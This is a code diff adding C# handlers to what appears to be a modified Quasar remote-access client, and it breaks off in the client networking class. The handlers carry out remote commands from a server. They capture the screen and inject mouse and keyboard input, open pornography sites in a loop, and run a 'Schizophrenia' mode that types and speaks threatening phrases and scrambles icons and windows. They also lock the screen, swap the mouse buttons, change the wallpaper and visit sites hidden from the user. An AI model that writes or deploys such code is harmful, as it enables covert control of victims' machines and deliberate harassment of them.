int attack = Math.Min(200, numSamples / 8);
|
||||
int release = Math.Min(8000, numSamples * 2 / 3);
|
||||
|
||||
for (int i = 0; i < numSamples; i++)
|
||||
{
|
||||
double t = (double)i / SAMPLE_RATE;
|
||||
|
||||
// Natural piano-like amplitude envelope
|
||||
double env = 1.0;
|
||||
if (i < attack)
|
||||
env = (double)i / attack;
|
||||
else if (i > numSamples - release)
|
||||
env = (double)(numSamples - i) / release;
|
||||
|
||||
// Fundamental + harmonics with exponential decay (makes it sound like a struck string)
|
||||
double decay = Math.Exp(-3.5 * t);
|
||||
double wave = env * (
|
||||
0.60 * Math.Sin(2 * Math.PI * frequency * t) * (0.35 + 0.65 * decay) +
|
||||
0.22 * Math.Sin(2 * Math.PI * frequency * 2.0 * t) * decay +
|
||||
0.10 * Math.Sin(2 * Math.PI * frequency * 3.0 * t) * decay +
|
||||
0.05 * Math.Sin(2 * Math.PI * frequency * 4.0 * t) * decay +
|
||||
0.03 * Math.Sin(2 * Math.PI * frequency * 5.0 * t) * decay
|
||||
);
|
||||
|
||||
short pcm = (short)(wave * 26000);
|
||||
buf[i * 2] = (byte)(pcm & 0xFF);
|
||||
buf[i * 2 + 1] = (byte)((pcm >> 8) & 0xFF);
|
||||
}
|
||||
|
||||
var fmt = new WAVEFORMATEX
|
||||
{
|
||||
wFormatTag = 1, // PCM
|
||||
nChannels = 1,
|
||||
nSamplesPerSec = SAMPLE_RATE,
|
||||
wBitsPerSample = 16,
|
||||
nBlockAlign = 2,
|
||||
nAvgBytesPerSec = SAMPLE_RATE * 2
|
||||
};
|
||||
|
||||
IntPtr hWave;
|
||||
if (waveOutOpen(out hWave, WAVE_MAPPER, ref fmt, IntPtr.Zero, IntPtr.Zero, 0) != 0) return;
|
||||
|
||||
GCHandle pin = GCHandle.Alloc(buf, GCHandleType.Pinned);
|
||||
try
|
||||
{
|
||||
uint hdrSz = (uint)Marshal.SizeOf(typeof(WAVEHDR));
|
||||
var hdr = new WAVEHDR { lpData = pin.AddrOfPinnedObject(), dwBufferLength = (uint)buf.Length };
|
||||
waveOutPrepareHeader(hWave, ref hdr, hdrSz);
|
||||
waveOutWrite(hWave, ref hdr, hdrSz);
|
||||
Thread.Sleep(durationMs + 100); // wait for playback to finish
|
||||
waveOutUnprepareHeader(hWave, ref hdr, hdrSz);
|
||||
}
|
||||
finally
|
||||
{
|
||||
pin.Free();
|
||||
waveOutClose(hWave);
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,114 @@
|
||||
using Microsoft.Win32;
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class PornSpamHandler : IMessageProcessor, IDisposable
|
||||
{
|
||||
private static readonly string[] Urls =
|
||||
{
|
||||
"https://www.pornhub.com",
|
||||
"https://www.xvideos.com",
|
||||
"https://www.xhamster.com",
|
||||
"https://www.xnxx.com",
|
||||
"https://www.redtube.com",
|
||||
"https://www.youporn.com",
|
||||
"https://www.spankbang.com",
|
||||
"https://www.tube8.com",
|
||||
};
|
||||
|
||||
private Thread _thread;
|
||||
private volatile bool _running;
|
||||
|
||||
public bool CanExecute(IMessage message) => message is DoStartPornSpam || message is DoStopPornSpam;
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case DoStartPornSpam _:
|
||||
Start();
|
||||
break;
|
||||
case DoStopPornSpam _:
|
||||
Stop();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Start()
|
||||
{
|
||||
if (_running) return;
|
||||
_running = true;
|
||||
_thread = new Thread(() =>
|
||||
{
|
||||
var rng = new Random();
|
||||
while (_running)
|
||||
{
|
||||
try
|
||||
{
|
||||
OpenInNewWindow(Urls[rng.Next(Urls.Length)]);
|
||||
}
|
||||
catch { }
|
||||
Thread.Sleep(800);
|
||||
}
|
||||
});
|
||||
_thread.IsBackground = true;
|
||||
_thread.Start();
|
||||
}
|
||||
|
||||
private static void OpenInNewWindow(string url)
|
||||
{
|
||||
try
|
||||
{
|
||||
string progId = Microsoft.Win32.Registry.GetValue(
|
||||
@"HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\https\UserChoice",
|
||||
"ProgId", null) as string;
|
||||
|
||||
if (progId != null)
|
||||
{
|
||||
string command = Microsoft.Win32.Registry.GetValue(
|
||||
$@"HKEY_CLASSES_ROOT\{progId}\shell\open\command",
|
||||
null, null) as string;
|
||||
|
||||
if (command != null)
|
||||
{
|
||||
string exePath = command.StartsWith("\"")
|
||||
? command.Substring(1, command.IndexOf('"', 1) - 1)
|
||||
: command.Split(' ')[0];
|
||||
|
||||
if (File.Exists(exePath))
|
||||
{
|
||||
string exeName = Path.GetFileNameWithoutExtension(exePath).ToLower();
|
||||
string flag = exeName == "firefox" ? "-new-window" : "--new-window";
|
||||
Process.Start(new ProcessStartInfo(exePath, $"{flag} \"{url}\"")
|
||||
{
|
||||
UseShellExecute = false
|
||||
});
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
|
||||
// Fallback if registry lookup fails
|
||||
Process.Start(new ProcessStartInfo(url) { UseShellExecute = true });
|
||||
}
|
||||
|
||||
private void Stop()
|
||||
{
|
||||
_running = false;
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
Stop();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,205 @@
|
||||
using Quasar.Client.Helper;
|
||||
using Quasar.Common.Enums;
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using Quasar.Common.Video;
|
||||
using Quasar.Common.Video.Codecs;
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class RemoteDesktopHandler : NotificationMessageProcessor, IDisposable
|
||||
{
|
||||
private UnsafeStreamCodec _streamCodec;
|
||||
|
||||
public override bool CanExecute(IMessage message) => message is GetDesktop ||
|
||||
message is DoMouseEvent ||
|
||||
message is DoKeyboardEvent ||
|
||||
message is GetMonitors;
|
||||
|
||||
public override bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public override void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case GetDesktop msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoMouseEvent msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoKeyboardEvent msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case GetMonitors msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetDesktop message)
|
||||
{
|
||||
// TODO: Switch to streaming mode without request-response once switched from windows forms
|
||||
// TODO: Capture mouse in frames: https://stackoverflow.com/questions/6750056/how-to-capture-the-screen-and-mouse-pointer-using-windows-apis
|
||||
var monitorBounds = ScreenHelper.GetBounds((message.DisplayIndex));
|
||||
var resolution = new Resolution { Height = monitorBounds.Height, Width = monitorBounds.Width };
|
||||
|
||||
if (_streamCodec == null)
|
||||
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
|
||||
|
||||
if (message.CreateNew)
|
||||
{
|
||||
_streamCodec?.Dispose();
|
||||
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
|
||||
OnReport("Remote desktop session started");
|
||||
}
|
||||
|
||||
if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution)
|
||||
{
|
||||
_streamCodec?.Dispose();
|
||||
|
||||
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
|
||||
}
|
||||
|
||||
BitmapData desktopData = null;
|
||||
Bitmap desktop = null;
|
||||
try
|
||||
{
|
||||
desktop = ScreenHelper.CaptureScreen(message.DisplayIndex);
|
||||
desktopData = desktop.LockBits(new Rectangle(0, 0, desktop.Width, desktop.Height),
|
||||
ImageLockMode.ReadWrite, desktop.PixelFormat);
|
||||
|
||||
using (MemoryStream stream = new MemoryStream())
|
||||
{
|
||||
if (_streamCodec == null) throw new Exception("StreamCodec can not be null.");
|
||||
_streamCodec.CodeImage(desktopData.Scan0,
|
||||
new Rectangle(0, 0, desktop.Width, desktop.Height),
|
||||
new Size(desktop.Width, desktop.Height),
|
||||
desktop.PixelFormat, stream);
|
||||
client.Send(new GetDesktopResponse
|
||||
{
|
||||
Image = stream.ToArray(),
|
||||
Quality = _streamCodec.ImageQuality,
|
||||
Monitor = _streamCodec.Monitor,
|
||||
Resolution = _streamCodec.Resolution
|
||||
});
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
if (_streamCodec != null)
|
||||
{
|
||||
client.Send(new GetDesktopResponse
|
||||
{
|
||||
Image = null,
|
||||
Quality = _streamCodec.ImageQuality,
|
||||
Monitor = _streamCodec.Monitor,
|
||||
Resolution = _streamCodec.Resolution
|
||||
});
|
||||
}
|
||||
|
||||
_streamCodec = null;
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (desktop != null)
|
||||
{
|
||||
if (desktopData != null)
|
||||
{
|
||||
try
|
||||
{
|
||||
desktop.UnlockBits(desktopData);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
desktop.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender sender, DoMouseEvent message)
|
||||
{
|
||||
try
|
||||
{
|
||||
Screen[] allScreens = Screen.AllScreens;
|
||||
int offsetX = allScreens[message.MonitorIndex].Bounds.X;
|
||||
int offsetY = allScreens[message.MonitorIndex].Bounds.Y;
|
||||
Point p = new Point(message.X + offsetX, message.Y + offsetY);
|
||||
|
||||
// Disable screensaver if active before input
|
||||
switch (message.Action)
|
||||
{
|
||||
case MouseAction.LeftDown:
|
||||
case MouseAction.LeftUp:
|
||||
case MouseAction.RightDown:
|
||||
case MouseAction.RightUp:
|
||||
case MouseAction.MoveCursor:
|
||||
if (NativeMethodsHelper.IsScreensaverActive())
|
||||
NativeMethodsHelper.DisableScreensaver();
|
||||
break;
|
||||
}
|
||||
|
||||
switch (message.Action)
|
||||
{
|
||||
case MouseAction.LeftDown:
|
||||
case MouseAction.LeftUp:
|
||||
NativeMethodsHelper.DoMouseLeftClick(p, message.IsMouseDown);
|
||||
break;
|
||||
case MouseAction.RightDown:
|
||||
case MouseAction.RightUp:
|
||||
NativeMethodsHelper.DoMouseRightClick(p, message.IsMouseDown);
|
||||
break;
|
||||
case MouseAction.MoveCursor:
|
||||
NativeMethodsHelper.DoMouseMove(p);
|
||||
break;
|
||||
case MouseAction.ScrollDown:
|
||||
NativeMethodsHelper.DoMouseScroll(p, true);
|
||||
break;
|
||||
case MouseAction.ScrollUp:
|
||||
NativeMethodsHelper.DoMouseScroll(p, false);
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender sender, DoKeyboardEvent message)
|
||||
{
|
||||
if (NativeMethodsHelper.IsScreensaverActive())
|
||||
NativeMethodsHelper.DisableScreensaver();
|
||||
|
||||
NativeMethodsHelper.DoKeyPress(message.Key, message.KeyDown);
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetMonitors message)
|
||||
{
|
||||
client.Send(new GetMonitorsResponse {Number = Screen.AllScreens.Length});
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Disposes all managed and unmanaged resources associated with this message processor.
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
_streamCodec?.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,231 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Speech.Synthesis;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class SchizophreniaHandler : IMessageProcessor
|
||||
{
|
||||
[DllImport("user32.dll")] private static extern IntPtr GetForegroundWindow();
|
||||
[DllImport("user32.dll")] private static extern bool GetWindowRect(IntPtr hWnd, out RECT rect);
|
||||
[DllImport("user32.dll")] private static extern bool MoveWindow(IntPtr hWnd, int x, int y, int w, int h, bool repaint);
|
||||
[DllImport("user32.dll")] private static extern IntPtr FindWindow(string cls, string name);
|
||||
[DllImport("user32.dll")] private static extern IntPtr FindWindowEx(IntPtr parent, IntPtr child, string cls, string name);
|
||||
[DllImport("user32.dll")] private static extern IntPtr SendMessage(IntPtr hWnd, int msg, IntPtr wParam, IntPtr lParam);
|
||||
[DllImport("user32.dll")] private static extern int GetWindowLong(IntPtr hWnd, int index);
|
||||
[DllImport("user32.dll")] private static extern int SetWindowLong(IntPtr hWnd, int index, int value);
|
||||
[DllImport("user32.dll")] private static extern void keybd_event(byte bVk, byte bScan, uint flags, int extra);
|
||||
[DllImport("user32.dll")] private static extern short VkKeyScan(char ch);
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct RECT { public int Left, Top, Right, Bottom; }
|
||||
|
||||
private const int GWL_STYLE = -16;
|
||||
private const int LVS_AUTOARRANGE = 0x0100;
|
||||
private const int LVM_GETITEMCOUNT = 0x1004;
|
||||
private const int LVM_SETITEMPOSITION = 0x100F;
|
||||
private const uint KEYEVENTF_KEYUP = 0x0002;
|
||||
private const byte VK_SHIFT = 0x10;
|
||||
|
||||
private volatile bool _running;
|
||||
private readonly object _startLock = new object();
|
||||
|
||||
private static readonly string[] Phrases =
|
||||
{
|
||||
"THEY ARE WATCHING YOU",
|
||||
"i can hear you breathing",
|
||||
"the walls are closing in",
|
||||
"make it stop make it stop",
|
||||
"WHO IS BEHIND YOU",
|
||||
"you are not alone in here",
|
||||
"i see everything you do",
|
||||
"we have always been here",
|
||||
"DO NOT TURN AROUND",
|
||||
"hahahahahahahahaha",
|
||||
"there is no escape",
|
||||
"im inside the computer",
|
||||
"WHAT WAS THAT NOISE",
|
||||
"tick tick tick tick tick",
|
||||
"get out get out get out",
|
||||
"your eyes are lying to you",
|
||||
"i counted your keystrokes today",
|
||||
"the screen is watching back",
|
||||
};
|
||||
|
||||
public bool CanExecute(IMessage message) => message is DoStartSchizophrenia || message is DoStopSchizophrenia;
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
if (message is DoStartSchizophrenia) Start();
|
||||
else if (message is DoStopSchizophrenia) Stop();
|
||||
}
|
||||
|
||||
private void Start()
|
||||
{
|
||||
lock (_startLock)
|
||||
{
|
||||
if (_running) return;
|
||||
_running = true;
|
||||
}
|
||||
Spawn(TypingChaos);
|
||||
Spawn(DesktopScrambler);
|
||||
Spawn(WindowShaker);
|
||||
Spawn(RandomTTS);
|
||||
}
|
||||
|
||||
private void Stop() => _running = false;
|
||||
|
||||
private void Spawn(ThreadStart ts)
|
||||
{
|
||||
var t = new Thread(ts) { IsBackground = true };
|
||||
t.SetApartmentState(ApartmentState.STA);
|
||||
t.Start();
|
||||
}
|
||||
|
||||
// --- Typing chaos: types random phrases/garbage into focused window ---
|
||||
|
||||
private void TypingChaos()
|
||||
{
|
||||
var rng = new Random();
|
||||
while (_running)
|
||||
{
|
||||
Thread.Sleep(rng.Next(3000, 9000));
|
||||
if (!_running) break;
|
||||
|
||||
string text = rng.Next(3) == 0
|
||||
? new string("!@#$%^&*".ToCharArray()[rng.Next(8)], rng.Next(3, 7))
|
||||
: Phrases[rng.Next(Phrases.Length)];
|
||||
|
||||
foreach (char c in text)
|
||||
{
|
||||
if (!_running) break;
|
||||
TypeChar(c);
|
||||
Thread.Sleep(rng.Next(35, 110));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void TypeChar(char c)
|
||||
{
|
||||
short vk = VkKeyScan(c);
|
||||
if (vk == -1) return;
|
||||
byte key = (byte)(vk & 0xFF);
|
||||
bool shift = ((vk >> 8) & 1) != 0;
|
||||
if (shift) keybd_event(VK_SHIFT, 0, 0, 0);
|
||||
keybd_event(key, 0, 0, 0);
|
||||
keybd_event(key, 0, KEYEVENTF_KEYUP, 0);
|
||||
if (shift) keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
|
||||
}
|
||||
|
||||
// --- Desktop icon scrambler ---
|
||||
|
||||
private void DesktopScrambler()
|
||||
{
|
||||
var rng = new Random();
|
||||
while (_running)
|
||||
{
|
||||
Thread.Sleep(rng.Next(10000, 22000));
|
||||
if (!_running) break;
|
||||
try { ScrambleIcons(rng); } catch { }
|
||||
}
|
||||
}
|
||||
|
||||
private static void ScrambleIcons(Random rng)
|
||||
{
|
||||
IntPtr lv = GetDesktopListView();
|
||||
if (lv == IntPtr.Zero) return;
|
||||
|
||||
// disable auto-arrange so icons actually move
|
||||
int style = GetWindowLong(lv, GWL_STYLE);
|
||||
SetWindowLong(lv, GWL_STYLE, style & ~LVS_AUTOARRANGE);
|
||||
|
||||
int count = (int)SendMessage(lv, (int)LVM_GETITEMCOUNT, IntPtr.Zero, IntPtr.Zero);
|
||||
if (count <= 0) return;
|
||||
|
||||
var screen = Screen.PrimaryScreen.WorkingArea;
|
||||
for (int i = 0; i < count; i++)
|
||||
{
|
||||
int x = rng.Next(10, screen.Width - 90);
|
||||
int y = rng.Next(10, screen.Height - 90);
|
||||
IntPtr lParam = (IntPtr)((y << 16) | (x & 0xFFFF));
|
||||
SendMessage(lv, LVM_SETITEMPOSITION, (IntPtr)i, lParam);
|
||||
Thread.Sleep(25);
|
||||
}
|
||||
}
|
||||
|
||||
private static IntPtr GetDesktopListView()
|
||||
{
|
||||
IntPtr progman = FindWindow("Progman", null);
|
||||
IntPtr shell = FindWindowEx(progman, IntPtr.Zero, "SHELLDLL_DefView", null);
|
||||
if (shell != IntPtr.Zero)
|
||||
return FindWindowEx(shell, IntPtr.Zero, "SysListView32", null);
|
||||
|
||||
// Win10+ uses WorkerW
|
||||
IntPtr workerW = IntPtr.Zero;
|
||||
do
|
||||
{
|
||||
workerW = FindWindowEx(IntPtr.Zero, workerW, "WorkerW", null);
|
||||
if (workerW == IntPtr.Zero) break;
|
||||
shell = FindWindowEx(workerW, IntPtr.Zero, "SHELLDLL_DefView", null);
|
||||
if (shell != IntPtr.Zero)
|
||||
return FindWindowEx(shell, IntPtr.Zero, "SysListView32", null);
|
||||
} while (true);
|
||||
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
|
||||
// --- Window shaker: rapidly moves active window side to side ---
|
||||
|
||||
private void WindowShaker()
|
||||
{
|
||||
var rng = new Random();
|
||||
while (_running)
|
||||
{
|
||||
Thread.Sleep(rng.Next(7000, 16000));
|
||||
if (!_running) break;
|
||||
|
||||
IntPtr hwnd = GetForegroundWindow();
|
||||
if (hwnd == IntPtr.Zero) continue;
|
||||
if (!GetWindowRect(hwnd, out RECT r)) continue;
|
||||
|
||||
int ox = r.Left, oy = r.Top;
|
||||
int w = r.Right - r.Left, h = r.Bottom - r.Top;
|
||||
|
||||
for (int i = 0; i < 24 && _running; i++)
|
||||
{
|
||||
int dx = (i % 2 == 0) ? 18 : -18;
|
||||
MoveWindow(hwnd, ox + dx, oy + (i % 3 == 0 ? 6 : 0), w, h, false);
|
||||
Thread.Sleep(35);
|
||||
}
|
||||
MoveWindow(hwnd, ox, oy, w, h, false);
|
||||
}
|
||||
}
|
||||
|
||||
// --- Random TTS: whispers creepy phrases out loud ---
|
||||
|
||||
private void RandomTTS()
|
||||
{
|
||||
var rng = new Random();
|
||||
while (_running)
|
||||
{
|
||||
Thread.Sleep(rng.Next(18000, 40000));
|
||||
if (!_running) break;
|
||||
try
|
||||
{
|
||||
using (var ss = new SpeechSynthesizer())
|
||||
{
|
||||
ss.Volume = 100;
|
||||
ss.Rate = rng.Next(-3, 4);
|
||||
ss.Speak(Phrases[rng.Next(Phrases.Length)]);
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System.Speech.Synthesis;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class TextToSpeechHandler : IMessageProcessor
|
||||
{
|
||||
private readonly SpeechSynthesizer _synth = new SpeechSynthesizer();
|
||||
|
||||
public bool CanExecute(IMessage message) => message is DoTextToSpeech;
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
if (message is DoTextToSpeech tts && !string.IsNullOrEmpty(tts.Text))
|
||||
_synth.SpeakAsync(tts.Text);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,75 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class TrollExtrasHandler : IMessageProcessor
|
||||
{
|
||||
[DllImport("user32.dll")] private static extern bool LockWorkStation();
|
||||
[DllImport("user32.dll")] private static extern bool SwapMouseButton(bool fSwap);
|
||||
[DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = CharSet.Ansi)]
|
||||
private static extern int mciSendString(string command, StringBuilder ret, int len, IntPtr callback);
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto)]
|
||||
private static extern int SystemParametersInfo(uint uAction, uint uParam, string lpvParam, uint fuWinIni);
|
||||
private const uint SPI_SETDESKWALLPAPER = 0x0014;
|
||||
private const uint SPIF_UPDATEINIFILE = 0x0001;
|
||||
private const uint SPIF_SENDCHANGE = 0x0002;
|
||||
|
||||
public bool CanExecute(IMessage message) =>
|
||||
message is DoLockScreen ||
|
||||
message is DoCdTray ||
|
||||
message is DoMouseSwap ||
|
||||
message is DoSetWallpaper;
|
||||
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case DoLockScreen _: LockWorkStation(); break;
|
||||
case DoCdTray m: new Thread(() => SpamCdTray(m.Count)) { IsBackground = true }.Start(); break;
|
||||
case DoMouseSwap m: SwapMouseButton(m.Swap); break;
|
||||
case DoSetWallpaper m: new Thread(() => ApplyWallpaper(m.ImageData)) { IsBackground = true }.Start(); break;
|
||||
}
|
||||
}
|
||||
|
||||
// ── Wallpaper ─────────────────────────────────────────────────────────
|
||||
|
||||
private void ApplyWallpaper(byte[] data)
|
||||
{
|
||||
if (data == null || data.Length == 0) return;
|
||||
try
|
||||
{
|
||||
// Must be a BMP file on disk — SystemParametersInfo doesn't accept raw bytes.
|
||||
string path = Path.Combine(Path.GetTempPath(), "wp_" + Guid.NewGuid().ToString("N") + ".bmp");
|
||||
using (var ms = new MemoryStream(data))
|
||||
using (var img = System.Drawing.Image.FromStream(ms))
|
||||
img.Save(path, System.Drawing.Imaging.ImageFormat.Bmp);
|
||||
|
||||
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, path, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
// ── CD tray spam ──────────────────────────────────────────────────────
|
||||
|
||||
private static void SpamCdTray(int count)
|
||||
{
|
||||
count = Math.Max(1, Math.Min(count, 20));
|
||||
for (int i = 0; i < count; i++)
|
||||
{
|
||||
mciSendString("set cdaudio door open", null, 0, IntPtr.Zero);
|
||||
Thread.Sleep(700);
|
||||
mciSendString("set cdaudio door closed", null, 0, IntPtr.Zero);
|
||||
Thread.Sleep(700);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Net;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class WebsiteVisitorHandler : IMessageProcessor
|
||||
{
|
||||
public bool CanExecute(IMessage message) => message is DoVisitWebsite;
|
||||
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case DoVisitWebsite msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoVisitWebsite message)
|
||||
{
|
||||
string url = message.Url;
|
||||
|
||||
if (!url.StartsWith("http"))
|
||||
url = "http://" + url;
|
||||
|
||||
if (Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute))
|
||||
{
|
||||
if (!message.Hidden)
|
||||
Process.Start(url);
|
||||
else
|
||||
{
|
||||
try
|
||||
{
|
||||
HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(url);
|
||||
request.UserAgent =
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A";
|
||||
request.AllowAutoRedirect = true;
|
||||
request.Timeout = 10000;
|
||||
request.Method = "GET";
|
||||
|
||||
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
|
||||
{
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
client.Send(new SetStatus { Message = "Visited Website" });
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,612 @@
|
||||
using Quasar.Common.Extensions;
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Net;
|
||||
using System.Net.Security;
|
||||
using System.Net.Sockets;
|
||||
using System.Security.Authentication;
|
||||
using System.Security.Cryptography;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Threading;
|
||||
|
||||
namespace Quasar.Client.Networking
|
||||
{
|
||||
public class Client : ISender
|
||||
{
|
||||
/// <summary>
|
||||
/// Occurs as a result of an unrecoverable issue with the client.
|
||||
/// </summary>
|
||||
public event ClientFailEventHandler ClientFail;
|
||||
|
||||
/// <summary>
|
||||
/// Represents a method that will handle failure of the client.
|
||||
/// </summary>
|
||||
/// <param name="s">The client that has failed.</param>
|
||||
/// <param name="ex">The exception containing information about the cause of the client's failure.</param>
|
||||
public delegate void ClientFailEventHandler(Client s, Exception ex);
|
||||
|
||||
/// <summary>
|
||||
/// Fires an event that informs subscribers that the client has failed.
|
||||
/// </summary>
|
||||
/// <param name="ex">The exception containing information about the cause of the client's failure.</param>
|
||||
private void OnClientFail(Exception ex)
|
||||
{
|
||||
var handler = ClientFail;
|
||||
handler?.Invoke(this, ex);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Occurs when the state of the client has changed.
|
||||
/// </summary>
|
||||
public event ClientStateEventHandler ClientState;
|
||||
|
||||
/// <summary>
|
||||
/// Represents the method that will handle a change in the client's state
|
||||
/// </summary>
|
||||
/// <param name="s">The client which changed its state.</param>
|
||||
/// <param name="connected">The new connection state of the client.</param>
|
||||
public delegate void ClientStateEventHandler(Client s, bool connected);
|
||||
|
||||
/// <summary>
|
||||
/// Fires an event that informs subscribers that the state of the client has changed.
|
||||
/// </summary>
|
||||
/// <param name="connected">The new connection state of the client.</param>
|
||||
private void OnClientState(bool connected)
|
||||
{
|
||||
if (Connected == connected) return;
|
||||
|
||||
Connected = connected;
|
||||
|
||||
var handler = ClientState;
|
||||
handler?.Invoke(this, connected);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Occurs when a message is received from the server.
|
||||
/// </summary>
|
||||
public event ClientReadEventHandler ClientRead;
|
||||
|
||||
/// <summary>
|
||||
/// Represents a method that will handle a message from the server.
|
||||
/// </summary>
|
||||
/// <param name="s">The client that has received the message.</param>
|
||||
/// <param name="message">The message that has been received by the server.</param>
|
||||
/// <param name="messageLength">The length of the message.</param>
|
||||
public delegate void ClientReadEventHandler(Client s, IMessage message, int messageLength);
|
||||
|
||||
/// <summary>
|
||||
/// Fires an event that informs subscribers that a message has been received by the server.
|
||||
/// </summary>
|
||||
/// <param name="message">The message that has been received by the server.</param>
|
||||
/// <param name="messageLength">The length of the message.</param>
|
||||
private void OnClientRead(IMessage message, int messageLength)
|
||||
{
|
||||
var handler = ClientRead;
|
||||
handler?.Invoke(this, message, messageLength);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Occurs when a message is sent by the client.
|
||||
/// </summary>
|
||||
public event ClientWriteEventHandler ClientWrite;
|
||||
|
||||
/// <summary>
|
||||
/// Represents the method that will handle the sent message.
|
||||
/// </summary>
|
||||
/// <param name="s">The client that has sent the message.</param>
|
||||
/// <param name="message">The message that has been sent by the client.</param>
|
||||
/// <param name="messageLength">The length of the message.</param>
|
||||
